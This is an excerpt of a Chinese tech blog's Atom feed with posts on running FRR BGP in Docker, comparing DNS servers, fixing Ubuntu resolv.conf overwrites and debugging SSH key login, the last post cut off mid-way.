&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sonic-net&#x2F;SONiC&#x2F;wiki&#x2F;Sonic-Roadmap-Planning&quot;&gt;SONiC Roadmap Planning&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sonic-net.github.io&#x2F;SONiC&#x2F;index.html&quot;&gt;SONiC Landing Page&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sonic-net.github.io&#x2F;SONiC&#x2F;workgroups.html&quot;&gt;SONiC Workgroups&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sonic-net.github.io&#x2F;SONiC&#x2F;Supported-Devices-and-Platforms.html&quot;&gt;SONiC Supported Devices and Platforms&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sonic-net&#x2F;SONiC&#x2F;blob&#x2F;master&#x2F;doc&#x2F;SONiC-User-Manual.md&quot;&gt;SONiC User Manual&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;playlist?list=PLAG-eekRQBSjwK0DpyHJs76gOz1619KqW&quot;&gt;OCP Global Summit 2022 - SONiC Workshop&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.dell.com&#x2F;en-us&#x2F;shop&#x2F;povw&#x2F;sonic&quot;&gt;Dell Enterprise SONiC Distribution&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.edge-core.com&#x2F;sonic.php&quot;&gt;Edgecore Enterprise SONiC  Distribution&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sonic-net&#x2F;SONiC&#x2F;blob&#x2F;master&#x2F;thermal-control-design.md&quot;&gt;SONiC Thermal Control Design&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>使用 Docker 运行 FRR BGP</title>
        <published>2024-07-15T00:00:00+00:00</published>
        <updated>2024-07-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/使用-docker-运行-frr-bgp/"/>
        <id>https://vercel.juzhong.asia/obsidian/使用-docker-运行-frr-bgp/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/使用-docker-运行-frr-bgp/">&lt;h1 id=&quot;shi-yong-docker-yun-xing-frr-bgp&quot;&gt;使用 Docker 运行 FRR BGP&lt;&#x2F;h1&gt;
&lt;p&gt;之前写 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;atbug.com&#x2F;load-balancer-service-with-metallb-bgp-mode&#x2F;&quot;&gt;在 Kubernetes 集群中使用 MetalLB 作为 LoadBalancer（下）- BGP&lt;&#x2F;a&gt; 时，我曾在 OpenWRT 安装 FRR 来进行了测试。需要 OpenWRT 的环境不免会有些繁琐，假如只是做些更简单的测试，比如从 FRR 所在服务器上进行 VIP 的访问，则是不需要 OpenWRT 的，仅仅部署 FRR 就足够了。&lt;&#x2F;p&gt;
&lt;p&gt;今天我就尝试了直接使用 Docker 运行 FRR 来启动 BGP Router 进程，简单的几步即可实现，对环境要求非常低，只需要个 Docker 就行。如果你又更简单的方法，也请留言分享。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;atbug.com&#x2F;run-frr-bgp-with-docker&#x2F;#%E9%85%8D%E7%BD%AE&quot;&gt;配置&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;创建一个本地目录在管理 FRR 配置，这个目录将会挂载到容器中。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;mkdir frr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;准备 FRR Daemon 的日志，开启 BGP daemon 进程。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;tee &amp;gt; .&amp;#x2F;frr&amp;#x2F;daemons &amp;lt;&amp;lt;EOF
# This file tells the frr package which daemons to start.
#
# Sample configurations for these daemons can be found in
# &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;frr&amp;#x2F;examples&amp;#x2F;.
#
# ATTENTION:
#
# When activating a daemon for the first time, a config file, even if it is
# empty, has to be present *and* be owned by the user and group &amp;quot;frr&amp;quot;, else
# the daemon will not be started by &amp;#x2F;etc&amp;#x2F;init.d&amp;#x2F;frr. The permissions should
# be u=rw,g=r,o=.
# When using &amp;quot;vtysh&amp;quot; such a config file is also needed. It should be owned by
# group &amp;quot;frrvty&amp;quot; and set to ug=rw,o= though. Check &amp;#x2F;etc&amp;#x2F;pam.d&amp;#x2F;frr, too.
#
# The watchfrr, zebra and staticd daemons are always started.
#
bgpd=yes
ospfd=no
ospf6d=no
ripd=no
ripngd=no
isisd=no
pimd=no
pim6d=no
ldpd=no
nhrpd=no
eigrpd=no
babeld=no
sharpd=no
pbrd=no
bfdd=no
fabricd=no
vrrpd=no
pathd=no

#
# If this option is set the &amp;#x2F;etc&amp;#x2F;init.d&amp;#x2F;frr script automatically loads
# the config via &amp;quot;vtysh -b&amp;quot; when the servers are started.
# Check &amp;#x2F;etc&amp;#x2F;pam.d&amp;#x2F;frr if you intend to use &amp;quot;vtysh&amp;quot;!
#
vtysh_enable=yes
zebra_options=&amp;quot;  -A 127.0.0.1 -s 90000000&amp;quot;
bgpd_options=&amp;quot;   -A 127.0.0.1&amp;quot;
ospfd_options=&amp;quot;  -A 127.0.0.1&amp;quot;
ospf6d_options=&amp;quot; -A ::1&amp;quot;
ripd_options=&amp;quot;   -A 127.0.0.1&amp;quot;
ripngd_options=&amp;quot; -A ::1&amp;quot;
isisd_options=&amp;quot;  -A 127.0.0.1&amp;quot;
pimd_options=&amp;quot;   -A 127.0.0.1&amp;quot;
pim6d_options=&amp;quot;  -A ::1&amp;quot;
ldpd_options=&amp;quot;   -A 127.0.0.1&amp;quot;
nhrpd_options=&amp;quot;  -A 127.0.0.1&amp;quot;
eigrpd_options=&amp;quot; -A 127.0.0.1&amp;quot;
babeld_options=&amp;quot; -A 127.0.0.1&amp;quot;
sharpd_options=&amp;quot; -A 127.0.0.1&amp;quot;
pbrd_options=&amp;quot;   -A 127.0.0.1&amp;quot;
staticd_options=&amp;quot;-A 127.0.0.1&amp;quot;
bfdd_options=&amp;quot;   -A 127.0.0.1&amp;quot;
fabricd_options=&amp;quot;-A 127.0.0.1&amp;quot;
vrrpd_options=&amp;quot;  -A 127.0.0.1&amp;quot;
pathd_options=&amp;quot;  -A 127.0.0.1&amp;quot;

# If you want to pass a common option to all daemons, you can use the
# &amp;quot;frr_global_options&amp;quot; variable.
#
#frr_global_options=&amp;quot;&amp;quot;

# The list of daemons to watch is automatically generated by the init script.
# This variable can be used to pass options to watchfrr that will be passed
# prior to the daemon list.
#
# To make watchfrr create&amp;#x2F;join the specified netns, add the the &amp;quot;--netns&amp;quot;
# option here. It will only have an effect in &amp;#x2F;etc&amp;#x2F;frr&amp;#x2F;&amp;lt;somename&amp;gt;&amp;#x2F;daemons, and
# you need to start FRR with &amp;quot;&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;frr&amp;#x2F;frrinit.sh start &amp;lt;somename&amp;gt;&amp;quot;.
#
#watchfrr_options=&amp;quot;&amp;quot;

# configuration profile
#
#frr_profile=&amp;quot;traditional&amp;quot;
#frr_profile=&amp;quot;datacenter&amp;quot;

# This is the maximum number of FD&amp;#x27;s that will be available.  Upon startup this
# is read by the control files and ulimit is called.  Uncomment and use a
# reasonable value for your setup if you are expecting a large number of peers
# in say BGP.
#
#MAX_FDS=1024

# For any daemon, you can specify a &amp;quot;wrap&amp;quot; command to start instead of starting
# the daemon directly. This will simply be prepended to the daemon invocation.
# These variables have the form daemon_wrap, where &amp;#x27;daemon&amp;#x27; is the name of the
# daemon (the same pattern as the daemon_options variables).
#
# Note that when daemons are started, they are told to daemonize with the `-d`
# option. This has several implications. For one, the init script expects that
# when it invokes a daemon, the invocation returns immediately. If you add a
# wrap command here, it must comply with this expectation and daemonize as
# well, or the init script will never return. Furthermore, because daemons are
# themselves daemonized with -d, you must ensure that your wrapper command is
# capable of following child processes after a fork() if you need it to do so.
#
# If your desired wrapper does not support daemonization, you can wrap it with
# a utility program that daemonizes programs, such as &amp;#x27;daemonize&amp;#x27;. An example
# of this might look like:
#
# bgpd_wrap=&amp;quot;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;daemonize &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;mywrapper&amp;quot;
#
# This is particularly useful for programs which record processes but lack
# daemonization options, such as perf and rr.
#
# If you wish to wrap all daemons in the same way, you may set the &amp;quot;all_wrap&amp;quot;
# variable.
#
#all_wrap=&amp;quot;&amp;quot;
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;准备 BGP 的配置，包括路由器的 AS 以及邻居的配置。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;tee &amp;gt;&amp;gt; .&amp;#x2F;frr&amp;#x2F;frr.conf &amp;lt;&amp;lt;EOF
ip forwarding
!
router bgp 65000
 bgp router-id 192.168.1.11
 no bgp ebgp-requires-policy
 bgp bestpath peer-type multipath-relax
 neighbor 192.168.1.13 remote-as 65001
 neighbor 192.168.1.14 remote-as 65001
exit
!
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;配置说明&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;该段配置是 FRRouting 中的 BGP 配置。下面是详细的解释：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ip forwarding&lt;&#x2F;strong&gt;： 这启用了 IP 转发。它告诉 FRR 它应该允许从一个网络接口传递到另一个网络接口的 IP 数据包转发。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;router bgp 65000&lt;&#x2F;strong&gt;： 开始定义一个 BGP 路由器进程，其中 65000 是该 BGP 实例的 AS (自治系统) 号。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;bgp router-id 10.0.2.5&lt;&#x2F;strong&gt;： 设置 BGP 路由器的 router-id。Router-ID 是 BGP 会话中使用的标识符，通常选择为路由器上的一个 IP 地址。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;no bgp ebgp-requires-policy&lt;&#x2F;strong&gt;： 默认情况下，BGP 需要为 eBGP (外部 BGP) 邻居定义策略（指出允许或拒绝的路由）。这条命令禁用了这个要求，允许所有的路由广播给 eBGP 邻居，除非明确配置了策略来进行过滤。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;bgp bestpath peer-type multipath-relax&lt;&#x2F;strong&gt;： 默认情况下，当 BGP 考虑多路径路由时，它只会考虑来自相同类型的邻居（内部 BGP 或外部 BGP）的路由。此命令修改了这一行为，允许来自不同类型的邻居的路由被考虑为等价多路径 (ECMP) 的候选。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;neighbor 10.0.2.6 remote-as 65001&lt;&#x2F;strong&gt;： 定义了一个 BGP 邻居，其 IP 地址为 10.0.2.6，并指定它位于 AS 65001。这意味着您的路由器（在 AS 65000）将尝试与位于 AS 65001 的 10.0.2.6 建立 BGP 会话。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;exit&lt;&#x2F;strong&gt;： 退出 BGP 配置模式，返回到 FRR 的主配置模式。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这段配置基本上定义了一个 BGP 会话，其中本地 AS 号为 65000，与远程邻居 10.0.2.6（其 AS 号为 65001）通信。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yun-xing&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;atbug.com&#x2F;run-frr-bgp-with-docker&#x2F;#%E8%BF%90%E8%A1%8C&quot;&gt;运行&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;准备好配置后就可以启动容器了，注意这里使用的参数。由于做了配置持久化，我使用了 &lt;code&gt;-rm&lt;&#x2F;code&gt; 参数，可以随时销毁参数；使用了主机网络，因此无需暴露 BGP 的 &lt;code&gt;179&lt;&#x2F;code&gt; 端口。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;docker run --rm -d --privileged --name frr --net=host -e watchfrr_debug=true -v .&amp;#x2F;frr:&amp;#x2F;etc&amp;#x2F;frr frrouting&amp;#x2F;frr:latest
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;jian-cha&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;atbug.com&#x2F;run-frr-bgp-with-docker&#x2F;#%E6%A3%80%E6%9F%A5&quot;&gt;检查&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;ssh 到容器中。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;docker exec -it frr sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;执行下面的命令。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;vtysh
show bgp summary
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将看到如下的信息，由于两个邻居都未上线，因此可以看到状态是 &lt;code&gt;Active&lt;&#x2F;code&gt; 但是运行时间是 &lt;code&gt;never&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;IPv4 Unicast Summary (VRF default):
BGP router identifier 192.168.1.11, local AS number 65000 vrf-id 0
BGP table version 0
RIB entries 0, using 0 bytes of memory
Peers 2, using 1434 KiB of memory

Neighbor        V         AS   MsgRcvd   MsgSent   TblVer  InQ OutQ  Up&amp;#x2F;Down State&amp;#x2F;PfxRcd   PfxSnt Desc
192.168.1.13    4      65001         0         0        0    0    0    never       Active        0 N&amp;#x2F;A
192.168.1.14    4      65001         0         0        0    0    0    never       Active        0 N&amp;#x2F;A

Total number of neighbors 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;后面就可以启动邻居的 BGP 宣告了。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>各种DNS的技术对比以及DNS缓存配置</title>
        <published>2024-07-14T00:00:00+00:00</published>
        <updated>2024-07-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/各种dns的技术对比以及dns缓存配置/"/>
        <id>https://vercel.juzhong.asia/obsidian/各种dns的技术对比以及dns缓存配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/各种dns的技术对比以及dns缓存配置/">&lt;h1 id=&quot;ge-chong-dnsde-ji-shu-dui-bi-yi-ji-dnshuan-cun-pei-zhi&quot;&gt;各种DNS的技术对比以及DNS缓存配置&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;各种DNS技术对比&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在开源界，有多种DNS技术。在RHEL上，笔者主要用过三种：BIND、Unbound（DNS缓存）、Dnsmasq等。&lt;&#x2F;p&gt;
&lt;p&gt;各种DNS技术功能对比如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%90%84%E7%A7%8Ddns%E7%9A%84%E6%8A%80%E6%9C%AF%E5%AF%B9%E6%AF%94%E4%BB%A5%E5%8F%8Adns%E7%BC%93%E5%AD%98%E9%85%8D%E7%BD%AE&#x2F;assets&#x2F;44b17da6558dc1578140c26f03d489df-20240714111123-a1grbgk-e372e6.webp&quot; alt=&quot;各种DNS的技术对比以及DNS缓存配置 : RHEL8学习系列5_java&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;各种DNS适用的操作系统平台如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%90%84%E7%A7%8Ddns%E7%9A%84%E6%8A%80%E6%9C%AF%E5%AF%B9%E6%AF%94%E4%BB%A5%E5%8F%8Adns%E7%BC%93%E5%AD%98%E9%85%8D%E7%BD%AE&#x2F;assets&#x2F;0a1af9b36d8c0a55c343e2496e4f60d2-20240714111123-hvxnqph-2b3fb6.webp&quot; alt=&quot;各种DNS的技术对比以及DNS缓存配置 : RHEL8学习系列5_java_02&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从上图我们可以看出来：在三种DNS技术中，Bind的功能最全、适用的操作系统种类最多，也是RHEL标准带的DNS服务。&lt;&#x2F;p&gt;
&lt;p&gt;下面对这三种DNS技术进行简单介绍。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;BIND&lt;&#x2F;strong&gt;是事实上的标准DNS服务器。它是一种免费软件产品，在大多数Unix和Linux平台上均已分发，在大多数情况下也被称为named（名称守护程序）。它是部署最广泛的DNS服务器。[1]从历史上看，BIND经历了三个主要修订，每个修订的体系结构都有明显不同：BIND4，BIND8和BIND9。BIND4和BIND8现在在技术上已过时，因此本文中不予考虑。BIND9是对BIND的完全重写，除其他功能和增强功能外，还具有完整的DNSSEC支持。RHEL8自带的是BIND9.11。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Unbound&lt;&#x2F;strong&gt;是一种为高性能而设计的验证，递归和缓存DNS服务器。它是由NLnet Labs根据BSD许可在2008年5月20日发行的免费软件（版本1.0.0）。从版本10.0开始，它作为基本系统的一部分安装在FreeBSD中；从版本8.0开始，它被安装在NetBSD中。OpenBSD 5.6及更高版本中也提供了一个版本。（BIND随附的FreeBSD的早期版本。）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Dnsmasq&lt;&#x2F;strong&gt;是一种轻量级，易于配置的DNS转发器，旨在为小型网络提供DNS（以及可选的DHCP和TFTP）服务。它可以服务不在全局DNS中的本地计算机的名称。Dnsmasq接受DNS查询，并从一个小的本地缓存中答复它们，或将其转发到真实的递归DNS服务器。它加载&#x2F;etc&#x2F;hosts的内容，以便可以解析未出现在全局DNS中的本地主机名。RHEL8中的dnsmasq开始支持DNSSEC（符合上面功能对照表的描述）&lt;&#x2F;p&gt;
&lt;p&gt;在RHEL7中，官方配置是BIND。RHEL8默认也使用BIND。&lt;strong&gt;Dnsmasq&lt;&#x2F;strong&gt;的好处是配置简单，使用方便。这在小型的开发测试环境和PoC环境非常适合。&lt;strong&gt;Unbound&lt;&#x2F;strong&gt;主要功能是做DNS缓存。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>解决ubuntu开机resolve.conf被覆盖为127.0.0.53无法导致上网的问题</title>
        <published>2024-07-14T00:00:00+00:00</published>
        <updated>2024-07-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/解决ubuntu开机resolve.conf被覆盖为127.0.0.53无法导致上网的问题/"/>
        <id>https://vercel.juzhong.asia/obsidian/解决ubuntu开机resolve.conf被覆盖为127.0.0.53无法导致上网的问题/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/解决ubuntu开机resolve.conf被覆盖为127.0.0.53无法导致上网的问题/">&lt;h1 id=&quot;jie-jue-ubuntukai-ji-resolve-confbei-fu-gai-wei-127-0-0-53wu-fa-dao-zhi-shang-wang-de-wen-ti&quot;&gt;解决ubuntu开机resolve.conf被覆盖为127.0.0.53无法导致上网的问题&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;fang-fa-yi-xiu-gai-dns&quot;&gt;方法一：修改DNS&lt;&#x2F;h3&gt;
&lt;p&gt;&#x2F;etc&#x2F;resolve.conf编辑很快就会被覆盖，因为其第一行写着：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;XML&quot; class=&quot;language-XML &quot;&gt;&lt;code class=&quot;language-XML&quot; data-lang=&quot;XML&quot;&gt;# This file is managed by man:systemd-resolved(8). Do not edit.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;故修改&#x2F;etc&#x2F;systemd&#x2F;resolved.conf&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;[Resolve]
DNS=8.8.8.8 114.114.114.114
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当然，错误的时钟也会给网络带来问题：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ntpdate edu.ntp.org.cn  # ntp同步时钟
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;fang-fa-er-shi-yong-unbound&quot;&gt;方法二、 使用unbound&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl stop systemd-resolved
sudo systemctl disable systemd-resolved
sudo apt install unbound
sudo rm -rf &amp;#x2F;etc&amp;#x2F;resolv.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;打开网络管理器配置文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo vim &amp;#x2F;etc&amp;#x2F;NetworkManager&amp;#x2F;NetworkManager.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在[main]下添加&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;dns=unbound
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;保存后重启。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ssh-key添加之后依旧需要密码输入Bug的解决</title>
        <published>2024-07-10T00:00:00+00:00</published>
        <updated>2024-07-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/ssh-key添加之后依旧需要密码输入bug的解决/"/>
        <id>https://vercel.juzhong.asia/obsidian/ssh-key添加之后依旧需要密码输入bug的解决/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/ssh-key添加之后依旧需要密码输入bug的解决/">&lt;h1 id=&quot;ssh-keytian-jia-zhi-hou-yi-jiu-xu-yao-mi-ma-shu-ru-bugde-jie-jue&quot;&gt;ssh-key添加之后依旧需要密码输入Bug的解决&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;chang-jing-zhong-xian&quot;&gt;场景重现&lt;&#x2F;h3&gt;
&lt;p&gt;要求从10.183.93.181的root用户ssh免密登录至10.110.155.26的boss用户&lt;&#x2F;p&gt;
&lt;p&gt;1.在10.110.155.26 的boss用户下面新建目录.ssh
2.在10.110.155.26 的boss用户下面的.ssh目录中新建文件authorized_keys
3.将10.183.93.181 root用户的公钥放置于authorized_keys中&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;[boss@10-110-155-26 .ssh]$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7p2wqKGCLASL+EC7vSiqccuofUv6sjXif2P6nXbZnbHZLy6Z3+vAijOvHoqxABg+Hfv5XflRjaO9z8PMwvW3A8ECu+2Y&amp;#x2F;kYPTMuyC1TG9qYNmyfiVH5jIeKbdyHmtbMl5+R1o1Fbo2FvQYU5qANhjHZqxb1omVXnEJhFLxSzNnwhFgRMNUTcf72Cwqfnn0Sr0ea8A9Eok6XvhQQqk44Pn+VfxIiO6Gngi1JGG3q1BCinaiSqnvSOHj0qjdGZZuXX0&amp;#x2F;G4AEbWHE7yD4Gf2FwyWTKwLiQzBKPqjTbZVI7XGtekhOv0Fx4tvT2kIdX5DQiABfMyZre9k+dT4M0rvmDJ3Q== root@10-183-93-181
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;4.在root用户之ssh登录boss@10.110.155.26，发现需要密码&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bugdiao-shi&quot;&gt;bug调试&lt;&#x2F;h3&gt;
&lt;p&gt;使用ssh -vv boss@10.110.155.26，在登录过程的时候发现以下显示&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;vbnet&quot; class=&quot;language-vbnet &quot;&gt;&lt;code class=&quot;language-vbnet&quot; data-lang=&quot;vbnet&quot;&gt;debug1: SSH2_MSG_SERVICE_ACCEPT received
debug2: key: &amp;#x2F;root&amp;#x2F;.ssh&amp;#x2F;identity ((nil))
debug2: key: &amp;#x2F;root&amp;#x2F;.ssh&amp;#x2F;id_rsa (0x7f42fed4cfe0)
debug2: key: &amp;#x2F;root&amp;#x2F;.ssh&amp;#x2F;id_dsa ((nil))
debug2: key: &amp;#x2F;root&amp;#x2F;.ssh&amp;#x2F;id_ecdsa ((nil))
debug1: Authentications that can continue: publickey,password
debug1: Next authentication method: publickey
debug1: Trying private key: &amp;#x2F;root&amp;#x2F;.ssh&amp;#x2F;identity
debug1: Offering public key: &amp;#x2F;root&amp;#x2F;.ssh&amp;#x2F;id_rsa
debug2: we sent a publickey packet, wait for reply
debug1: Authentications that can continue: publickey,password
debug1: Trying private key: &amp;#x2F;root&amp;#x2F;.ssh&amp;#x2F;id_dsa
debug1: Trying private key: &amp;#x2F;root&amp;#x2F;.ssh&amp;#x2F;id_ecdsa
debug2: we did not send a packet, disable method
debug1: Next authentication method: password
boss@10.110.155.26&amp;#x27;s password:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;ssh -vv没有显示其它异常，只是卡在验证这里&lt;&#x2F;p&gt;
&lt;p&gt;在10.110.155.26上面使用root用户打开sshd的调试模式&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;vbnet&quot; class=&quot;language-vbnet &quot;&gt;&lt;code class=&quot;language-vbnet&quot; data-lang=&quot;vbnet&quot;&gt;[root@10-110-155-26 .ssh]# &amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;sshd -d -p 4444
debug1: sshd version OpenSSH_5.3p1
debug1: read PEM private key done: type RSA
debug1: private host key: #0 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #1 type 2 DSA
debug1: rexec_argv[0]=&amp;#x27;&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;sshd&amp;#x27;
debug1: rexec_argv[1]=&amp;#x27;-d&amp;#x27;
debug1: rexec_argv[2]=&amp;#x27;-p&amp;#x27;
debug1: rexec_argv[3]=&amp;#x27;4444&amp;#x27;
Set &amp;#x2F;proc&amp;#x2F;self&amp;#x2F;oom_score_adj from 0 to -1000
debug1: Bind to port 4444 on 0.0.0.0.
Server listening on 0.0.0.0 port 4444.
socket: Address family not supported by protocol
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后再次在10.183.93.181上面进行ssh登录。切换至10.110.155.26上面，查看有一条bug记录&lt;&#x2F;p&gt;
